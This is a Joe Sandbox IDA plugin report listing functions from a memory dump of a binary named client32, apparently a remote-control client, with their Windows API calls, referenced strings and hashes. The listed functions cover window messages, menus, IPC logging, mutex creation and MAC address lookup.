Part of subcall function 11025000: SendMessageA.USER32(?,000000C1,00000000,00000000), ref: 11025065
Part of subcall function 11025000: SendMessageA.USER32(?,000000C4,-00000001,?), ref: 1102507E
Part of subcall function 11025000: GetDC.USER32(?), ref: 11025085
Part of subcall function 11025000: SendMessageA.USER32(?,00000031,00000000,00000000), ref: 11025095
Part of subcall function 11025000: SelectObject.GDI32(?,00000000), ref: 110250A2
Part of subcall function 11025000: GetTextExtentPoint32A.GDI32(?,00000020,00000001,?), ref: 110250B8
Part of subcall function 11025000: SelectObject.GDI32(?,?), ref: 110250C7
Part of subcall function 11025000: ReleaseDC.USER32(?,?), ref: 110250CF

SendMessageA.USER32(00000000,000000C1,00000000,00000000), ref: 110253C9
SendMessageA.USER32(00000000,000000B1,00000000,-00000002), ref: 110253DA
SendMessageA.USER32(00000000,000000C2,00000000,00000000), ref: 110253E8
SendMessageA.USER32(00000000,0000000E,00000000,00000000), ref: 110253F1
SendMessageA.USER32(00000000,000000B1,?,?), ref: 11025425
SendMessageA.USER32(00000000,000000C2,00000000,00000000), ref: 11025433

Strings

8, xrefs: 110253A9

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessageSend$ObjectSelect$ExtentItemPoint32ReleaseText
String ID: 8
API String ID: 762489935-4194326291
Opcode ID: 6d55198dcb8903f7cb199ecb074005425c4f27be9449354806f6e1afde77a9a3
Instruction ID: 930c0c8f097ea1a0c561faf68991d79795fa3a28e1f50edb77ad2a2483817317
Opcode Fuzzy Hash: 6d55198dcb8903f7cb199ecb074005425c4f27be9449354806f6e1afde77a9a3
Instruction Fuzzy Hash: B6419471E01219AFDB14DFA4CC41FEEB7B8EF48705F508169F906E6180DBB5AA40CB69

Function 1104C3E3 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 126windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

PostMessageA.USER32(0000FFFF,0000C1C4,00000000,00000000), ref: 1104C4D9
PostMessageA.USER32(00040270,0000048F,00000032,00000000), ref: 1104C50A
PostMessageA.USER32(00040270,00000483,00000000,00000000), ref: 1104C51C
PostMessageA.USER32(00040270,0000048F,000000C8,00000000), ref: 1104C530
PostMessageA.USER32(00040270,00000483,00000001,?), ref: 1104C547
PostMessageA.USER32(00040270,00000800,00000000,00000000), ref: 1104C558

Strings

UnloadMirrorOnEndView, xrefs: 1104C3EB
Client, xrefs: 1104C3F0

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessagePost$__wcstoi64
String ID: Client$UnloadMirrorOnEndView
API String ID: 1802880851-3586292995
Opcode ID: a41bae29c585707371357c8caec9141dff0e8bf7478b157c6d85ab70ef4f8417
Instruction ID: f03e4b2a21c92520a355d730a4440e838d8bebb2f72c7bea427c3ee4d591d5f8
Opcode Fuzzy Hash: a41bae29c585707371357c8caec9141dff0e8bf7478b157c6d85ab70ef4f8417
Instruction Fuzzy Hash: 7641B275A42231ABE315DB90CC81FBAB7A8BB85B18F108569F61557288CB70B940CBD1

Function 11148010 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 114threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 11148023
wsprintfA.USER32 ref: 111480A3
IsBadReadPtr.KERNEL32(?,00000001), ref: 111480C8
wsprintfA.USER32 ref: 111480E8
wsprintfA.USER32 ref: 11148105

Strings

EAX=%08X EBX=%08X ECX=%08X EDX=%08X ESI=%08XEDI=%08X EBP=%08X ESP=%08X EIP=%08X FLG=%08XCS=%04X DS=%04X SS=%04X ES=%04X FS=%04X GS=%04X TID=%XEIP:, xrefs: 1114809D
%02X , xrefs: 111480E2
Callstack:, xrefs: 111480FF

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$CurrentReadThread
String ID: Callstack:$%02X $EAX=%08X EBX=%08X ECX=%08X EDX=%08X ESI=%08XEDI=%08X EBP=%08X ESP=%08X EIP=%08X FLG=%08XCS=%04X DS=%04X SS=%04X ES=%04X FS=%04X GS=%04X TID=%XEIP:
API String ID: 477357799-160799177
Opcode ID: e6fc7ff37065f7da211f907daa642f56825c7247d90f298499add0651c530b71
Instruction ID: 6f7d134abcf48abb40f6f3b0b22a813e08fdaf2ee64347ae44ec59e5a96c1c79
Opcode Fuzzy Hash: e6fc7ff37065f7da211f907daa642f56825c7247d90f298499add0651c530b71
Instruction Fuzzy Hash: 23410DB1200705AFDB54CFA8DC90F97B7E9BB48608F148918F96DC7644DB30B914CB61

Function 11005210 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(?), ref: 1100521E
_memset.LIBCMT ref: 11005240
GetMenuItemID.USER32(?,00000000), ref: 11005254
CheckMenuItem.USER32(?,00000000,00000000), ref: 110052B1
EnableMenuItem.USER32(?,00000000,00000000), ref: 110052C7
GetMenuItemInfoA.USER32(?,00000000,00000001,00000030), ref: 110052E8
SetMenuItemInfoA.USER32(?,00000000,00000001,00000030), ref: 11005314

Strings

0, xrefs: 1100524D

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ItemMenu$Info$CheckCountEnable_memset
String ID: 0
API String ID: 2755257978-4108050209
Opcode ID: 64426ca387f460fb7a01fd0aca5c54c25300771ffc0ff337154cefcaf6503ee4
Instruction ID: 3498b13fe94e5af900cf0a89c9b181a4bb2b9f9614c8d31ca7af4f255d02c70f
Opcode Fuzzy Hash: 64426ca387f460fb7a01fd0aca5c54c25300771ffc0ff337154cefcaf6503ee4
Instruction Fuzzy Hash: AB31A170D41219ABEB01DFA4C988BDEBBFCEF46398F008059F851EB250D7B59A44CB60

Function 11027040 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 94sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000032), ref: 110270E9
GetTickCount.KERNEL32 ref: 110270F7
GetTickCount.KERNEL32 ref: 11027107

Strings

Warning. IPC took %d ms - possible unresponsiveness, xrefs: 11027127
Warning. IPC msg but no wnd. Waiting..., xrefs: 110270BF
IPC, what=%d, msg=x%x, wP=x%x, lP=x%x, timeout=%d, sender=x%x (%d), xrefs: 11027098
HandleIPC ret %x, took %d ms, xrefs: 11027110
IPC copydata, dw=%d, cb=%d, pv=x%x, sender=x%x (%d), xrefs: 11027079

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$Sleep
String ID: HandleIPC ret %x, took %d ms$IPC copydata, dw=%d, cb=%d, pv=x%x, sender=x%x (%d)$IPC, what=%d, msg=x%x, wP=x%x, lP=x%x, timeout=%d, sender=x%x (%d)$Warning. IPC msg but no wnd. Waiting...$Warning. IPC took %d ms - possible unresponsiveness
API String ID: 4250438611-314227603
Opcode ID: cf922524ba4b939dac619c14ad9c82c8a96acbc09ed8cabbbd0cfb614c38f24c
Instruction ID: 36f6635ed5369738cce6f54d2d5b10a636314f1ad60547d54338f1edfc411986
Opcode Fuzzy Hash: cf922524ba4b939dac619c14ad9c82c8a96acbc09ed8cabbbd0cfb614c38f24c
Instruction Fuzzy Hash: FF21C379E01619EBD321DFA5DCD0EABF7ADEB95218F104529F81943600DB31AC44C7A2

Function 11009500 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 92fileCOMMON

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 1100953A
_strncmp.LIBCMT ref: 1100954A
WriteFile.KERNEL32(00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,AB86ACF8), ref: 110095EB

Strings

https://, xrefs: 1100952F
IsA(), xrefs: 110095A5, 110095CD
<tr><td valign="middle" align="center"><img border="0" src="%s" align="left" width="16"> </td><td><a>%s</a></td><td> </td><td , xrefs: 11009571
http://, xrefs: 11009535, 11009548
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 110095A0, 110095C8

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strncmp$FileWrite
String ID: <tr><td valign="middle" align="center"><img border="0" src="%s" align="left" width="16"> </td><td><a>%s</a></td><td> </td><td $IsA()$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$http://$https://
API String ID: 1635020204-3154135529
Opcode ID: 792e616861f9a4ae8c30573813f2543d714be5633bae0a01c5bd2a42a3bb713b
Instruction ID: 3ad994666f9f4a7bc5965cb6aac6b353dc675ffe3b9ee49526350f7e9061b273
Opcode Fuzzy Hash: 792e616861f9a4ae8c30573813f2543d714be5633bae0a01c5bd2a42a3bb713b
Instruction Fuzzy Hash: D3318D75E0061AABDB00CF95CC45FDEB7B8FF49254F004259E825B7280E731A504CBB0

Function 11144040 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 91libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,00000001,00000000,00000000), ref: 111440A6
GetProcAddress.KERNEL32(00000000,DllGetVersion), ref: 111440B8
FreeLibrary.KERNEL32(00000000), ref: 111440F4

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

FreeLibrary.KERNEL32(00000000), ref: 11144111

Strings

..\ctl32\util.cpp, xrefs: 1114406C, 11144087
pdwMajorVer, xrefs: 11144071
pdwMinorVer, xrefs: 1114408C
DllGetVersion, xrefs: 111440B2

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$Free$AddressErrorExitLastLoadMessageProcProcesswsprintf
String ID: ..\ctl32\util.cpp$DllGetVersion$pdwMajorVer$pdwMinorVer
API String ID: 2160193376-301070788
Opcode ID: e44ab046283bc651aae464860159ad9237f7330829552d468496f3076074b2e2
Instruction ID: 8ec37360b6af12359677f4f789901c443318a14bbc26c3183c6290fe893a0892
Opcode Fuzzy Hash: e44ab046283bc651aae464860159ad9237f7330829552d468496f3076074b2e2
Instruction Fuzzy Hash: 1331D176F0021A9BCB04DFE9D880BEEF7B4EF58759F10006EE919A7B00DB7059008B91

Function 1112C1B0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 78libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(IPHLPAPI.DLL,?,?,?,?,1102E5E1,?,?,11195264,Trying to get mac addr for %u.%u.%u.%u,?,000000FF,?,?), ref: 1112C1D5
GetProcAddress.KERNEL32(00000000,SendARP), ref: 1112C1EE
wsprintfA.USER32 ref: 1112C23B
wsprintfA.USER32 ref: 1112C253
FreeLibrary.KERNEL32(00000000,?,?,1102E5E1), ref: 1112C268

Strings

SendARP, xrefs: 1112C1E8
IPHLPAPI.DLL, xrefs: 1112C1C8
%02x, xrefs: 1112C24D

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Librarywsprintf$AddressFreeLoadProc
String ID: %02x$IPHLPAPI.DLL$SendARP
API String ID: 435568443-4085816232
Opcode ID: 369f9b8d5815293f31972576267f122e4637ba767a623a1c15d1d01a0f387f78
Instruction ID: 8760d0f24f13fbd9c3f6f7c142518e86b4ebf2eaea43770ddc67536ce621ef3a
Opcode Fuzzy Hash: 369f9b8d5815293f31972576267f122e4637ba767a623a1c15d1d01a0f387f78
Instruction Fuzzy Hash: DD217172E0011D9BCB14CFE6DD84AEEFBB4EF49A14F554118ED18A3300EB349905CBA0

Function 110D2200 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 76synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 110EE230: LocalAlloc.KERNEL32(00000040,00000014,?,1100D6AF,?), ref: 110EE240
Part of subcall function 110EE230: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,1100D6AF,?), ref: 110EE252
Part of subcall function 110EE230: SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000,?,1100D6AF,?), ref: 110EE264

_memset.LIBCMT ref: 110D225D
_strncpy.LIBCMT ref: 110D2270
CreateMutexA.KERNEL32(0000FFFF,00000000,110AECC7,AB86ACF8,0000FFFF,?,00000000), ref: 110D2282
OpenMutexA.KERNEL32(00100001,00000000,110AECC7), ref: 110D2296
GetLastError.KERNEL32 ref: 110D22A5
wsprintfA.USER32 ref: 110D22B9
OutputDebugStringA.KERNEL32(?), ref: 110D22C9

Strings

CreateMutex() FAILED - mutex: %s (%d), xrefs: 110D22B3

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DescriptorMutexSecurity$AllocCreateDaclDebugErrorInitializeLastLocalOpenOutputString_memset_strncpywsprintf
String ID: CreateMutex() FAILED - mutex: %s (%d)
API String ID: 1226361317-2228366408
Opcode ID: 2384ea77c9b49aa6311800397e6ac125b36c4dd999786081d16b963adf27bd01
Instruction ID: 2d0f1180b9456f53bee9e3a362c2732001871efe099aa789405d963e56971bda
Opcode Fuzzy Hash: 2384ea77c9b49aa6311800397e6ac125b36c4dd999786081d16b963adf27bd01
Instruction Fuzzy Hash: 4521E0B6940358AFD710DFA4CC84FEABBBCEB48B14F00496AF92593644E770A644CB60

Function 11023390 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 70windowCOMMON

Download Yara Rule

APIs

GetDlgItemTextA.USER32(?,?,?,00000100), ref: 110233C2

Part of subcall function 1101FFB0: wsprintfA.USER32 ref: 11020078

SetDlgItemTextA.USER32(?,?,11195264), ref: 110233FD
GetDlgItem.USER32(?,?), ref: 11023414
SetFocus.USER32(00000000), ref: 11023417
GetDlgItem.USER32(00000000,?), ref: 11023445
EnableWindow.USER32(00000000,00000000), ref: 1102344A

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h, xrefs: 1102342E
m_hWnd, xrefs: 11023433

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Item$Textwsprintf$EnableErrorExitFocusLastMessageProcessWindow
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h$m_hWnd
API String ID: 1605826578-1986719024
Opcode ID: f36cc34cc9a969abcf6566481c33c0cc2ea65c20e1744d3420329027fe5297bf
Instruction ID: 8db35bf72fe99370d3eedeccbec7b94c25a8ea314d3c8a10113fa065dea7662b
Opcode Fuzzy Hash: f36cc34cc9a969abcf6566481c33c0cc2ea65c20e1744d3420329027fe5297bf
Instruction Fuzzy Hash: F721BB79600718ABD724DBA1CC85FABF3BCEB84718F00445DF66697640CA74BC45CB64

Function 11145120 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(?), ref: 1114513D
_memset.LIBCMT ref: 1114515E
GetMenuItemInfoA.USER32(?,00000000,00000001,?), ref: 1114519B
CreatePopupMenu.USER32 ref: 111451AA
GetMenuItemCount.USER32(?), ref: 111451D3
InsertMenuItemA.USER32(?,00000000,00000001,00000030), ref: 111451E4
GetMenuItemCount.USER32(?), ref: 111451EB

Strings

0, xrefs: 11145177

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
